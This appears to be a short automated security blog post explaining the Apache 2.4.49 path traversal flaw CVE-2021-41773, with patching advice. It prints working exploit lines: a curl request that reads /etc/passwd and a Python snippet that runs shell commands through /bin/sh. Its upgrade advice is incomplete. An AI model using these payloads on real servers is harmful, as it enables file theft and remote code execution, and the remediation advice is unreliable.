Listen to this Post
How the mentioned CVE works:
A flaw was introduced in Apache HTTP Server versions 2.4.49. A change to the path normalization algorithm contained a bug. This bug allowed an attacker to use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root were not protected by the “require all denied” configuration, an attacker could exploit this to access these files. Furthermore, if CGI scripts were enabled, this vulnerability could be exploited to achieve remote code execution. The attacker could craft a specially crafted request containing URL-encoded characters like “.” and “/”. The faulty normalization would incorrectly interpret the path, escaping the root directory. This allowed for unauthorized access to arbitrary files on the server’s filesystem. The primary issue was the incomplete security check after the normalization process, permitting such traversal sequences.
Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
date: 2021-10-05
Prediction: Patch released 2021-10-07
What Undercode Say:
curl -s "http://vulnerable-host.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
nmap -p 80 --script http-vuln-cve2021-41773 <target>
import requests url = "http://target/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh" data = "echo; id" response = requests.post(url, data=data) print(response.text)
How Exploit:
Craft a URL with encoded path traversal sequences to bypass security checks and access files or execute commands on the server.
Protection from this CVE:
Immediately upgrade to Apache HTTP Server version 2.4.50 or later. Ensure the configuration uses “Require all denied” for filesystem access outside the document root.
Impact:
Unauthorized access to sensitive files, leading to information disclosure and full remote code execution on the server if CGI is enabled.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
